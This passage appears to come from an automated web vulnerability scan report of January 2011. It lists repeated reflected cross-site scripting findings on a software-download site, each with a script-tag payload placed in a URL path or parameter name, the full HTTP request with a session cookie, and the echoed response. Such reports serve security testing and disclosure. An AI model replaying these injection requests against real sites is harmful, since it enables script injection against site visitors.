<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-easytether-x64-download-byhsbuvf.htmld668a"><script>alert(1)</script>fda2f2d8370"/> ...[SNIP]...
4.1727. http://www.x64bitdownload.com/downloads/t-64-bit-easytether-x64-download-byhsbuvf.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b318"><script>alert(1)</script>59af2c6b207 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-easytether-x64-download-byhsbuvf.html?2b318"><script>alert(1)</script>59af2c6b207=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:16 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-easytether-x64-download-byhsbuvf.html?2b318"><script>alert(1)</script>59af2c6b207=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6632"><script>alert(1)</script>c0725bae4aa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadsd6632"><script>alert(1)</script>c0725bae4aa/t-64-bit-messenger-plus-live-download-upxgwatv.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:22:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21336
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadsd6632"><script>alert(1)</script>c0725bae4aa/t-64-bit-messenger-plus-live-download-upxgwatv.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 583a5"><script>alert(1)</script>95c1c196d99 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-messenger-plus-live-download-upxgwatv.html583a5"><script>alert(1)</script>95c1c196d99 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60095
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-messenger-plus-live-download-upxgwatv.html583a5"><script>alert(1)</script>95c1c196d99"/> ...[SNIP]...
4.1730. http://www.x64bitdownload.com/downloads/t-64-bit-messenger-plus-live-download-upxgwatv.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 978a2"><script>alert(1)</script>f39f418527 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-messenger-plus-live-download-upxgwatv.html?978a2"><script>alert(1)</script>f39f418527=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:19:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60099
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-messenger-plus-live-download-upxgwatv.html?978a2"><script>alert(1)</script>f39f418527=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87e02"><script>alert(1)</script>f78bbafec09 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads87e02"><script>alert(1)</script>f78bbafec09/t-64-bit-news-file-grabber-download-stclytop.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:18:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads87e02"><script>alert(1)</script>f78bbafec09/t-64-bit-news-file-grabber-download-stclytop.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6727"><script>alert(1)</script>351fce78751 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-news-file-grabber-download-stclytop.htmlc6727"><script>alert(1)</script>351fce78751 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:19:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55692
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-news-file-grabber-download-stclytop.htmlc6727"><script>alert(1)</script>351fce78751"/> ...[SNIP]...
4.1733. http://www.x64bitdownload.com/downloads/t-64-bit-news-file-grabber-download-stclytop.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70863"><script>alert(1)</script>1a306d3759b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-news-file-grabber-download-stclytop.html?70863"><script>alert(1)</script>1a306d3759b=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:24 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55698
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-news-file-grabber-download-stclytop.html?70863"><script>alert(1)</script>1a306d3759b=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 479d7"><script>alert(1)</script>109565655ac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads479d7"><script>alert(1)</script>109565655ac/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:19:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21340
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads479d7"><script>alert(1)</script>109565655ac/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2edda"><script>alert(1)</script>53ca7435637 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html2edda"><script>alert(1)</script>53ca7435637 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55393
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html2edda"><script>alert(1)</script>53ca7435637"/> ...[SNIP]...
4.1736. http://www.x64bitdownload.com/downloads/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a540c"><script>alert(1)</script>1b11e322301 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html?a540c"><script>alert(1)</script>1b11e322301=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55399
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-newsgroup-commander-pro-download-rjfsmxpp.html?a540c"><script>alert(1)</script>1b11e322301=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2aaf8"><script>alert(1)</script>29f62c52533 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads2aaf8"><script>alert(1)</script>29f62c52533/t-64-bit-nokia-ovi-suite-download-bhfheplp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:25:02 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads2aaf8"><script>alert(1)</script>29f62c52533/t-64-bit-nokia-ovi-suite-download-bhfheplp.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef19c"><script>alert(1)</script>53099d9c0ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-nokia-ovi-suite-download-bhfheplp.htmlef19c"><script>alert(1)</script>53099d9c0ac HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55228
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-nokia-ovi-suite-download-bhfheplp.htmlef19c"><script>alert(1)</script>53099d9c0ac"/> ...[SNIP]...
4.1739. http://www.x64bitdownload.com/downloads/t-64-bit-nokia-ovi-suite-download-bhfheplp.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5920"><script>alert(1)</script>1d30e1ca09f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-nokia-ovi-suite-download-bhfheplp.html?b5920"><script>alert(1)</script>1d30e1ca09f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:30 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55234
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-nokia-ovi-suite-download-bhfheplp.html?b5920"><script>alert(1)</script>1d30e1ca09f=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb7c1"><script>alert(1)</script>cb83eacf673 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloadseb7c1"><script>alert(1)</script>cb83eacf673/t-64-bit-nokia-pc-suite-download-psjkkdil.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:20:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21331
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloadseb7c1"><script>alert(1)</script>cb83eacf673/t-64-bit-nokia-pc-suite-download-psjkkdil.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8f68"><script>alert(1)</script>c04ad26948f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-nokia-pc-suite-download-psjkkdil.htmld8f68"><script>alert(1)</script>c04ad26948f HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:21:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57543
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-nokia-pc-suite-download-psjkkdil.htmld8f68"><script>alert(1)</script>c04ad26948f"/> ...[SNIP]...
4.1742. http://www.x64bitdownload.com/downloads/t-64-bit-nokia-pc-suite-download-psjkkdil.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38ef3"><script>alert(1)</script>3ee45597a1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-nokia-pc-suite-download-psjkkdil.html?38ef3"><script>alert(1)</script>3ee45597a1a=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57549
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-nokia-pc-suite-download-psjkkdil.html?38ef3"><script>alert(1)</script>3ee45597a1a=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14448"><script>alert(1)</script>41f24c0c9a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads14448"><script>alert(1)</script>41f24c0c9a/t-64-bit-oovoo-download-jrletedp.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:23:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21321
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/downloads14448"><script>alert(1)</script>41f24c0c9a/t-64-bit-oovoo-download-jrletedp.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26ff1"><script>alert(1)</script>4d559d8a948 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-oovoo-download-jrletedp.html26ff1"><script>alert(1)</script>4d559d8a948 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60497
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-oovoo-download-jrletedp.html26ff1"><script>alert(1)</script>4d559d8a948"/> ...[SNIP]...
4.1745. http://www.x64bitdownload.com/downloads/t-64-bit-oovoo-download-jrletedp.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/downloads/t-64-bit-oovoo-download-jrletedp.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1d51"><script>alert(1)</script>4f51ebb208e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads/t-64-bit-oovoo-download-jrletedp.html?e1d51"><script>alert(1)</script>4f51ebb208e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:20:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60503
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="referer" value="/downloads/t-64-bit-oovoo-download-jrletedp.html?e1d51"><script>alert(1)</script>4f51ebb208e=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37801"><script>alert(1)</script>ad83e3f4619 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /downloads37801"><script>alert(1)</script>ad83e3f4619/t-64-bit-ozum-download-lhtivuds.html HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:17 GMT Server: Apache/2.2.9 (Fedora) Set-Cookie: downloadsite=td6rkej4n5bvmqp9ffd7osao76; expires=Sat, 23 Jul 2011 14:59:17 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21321
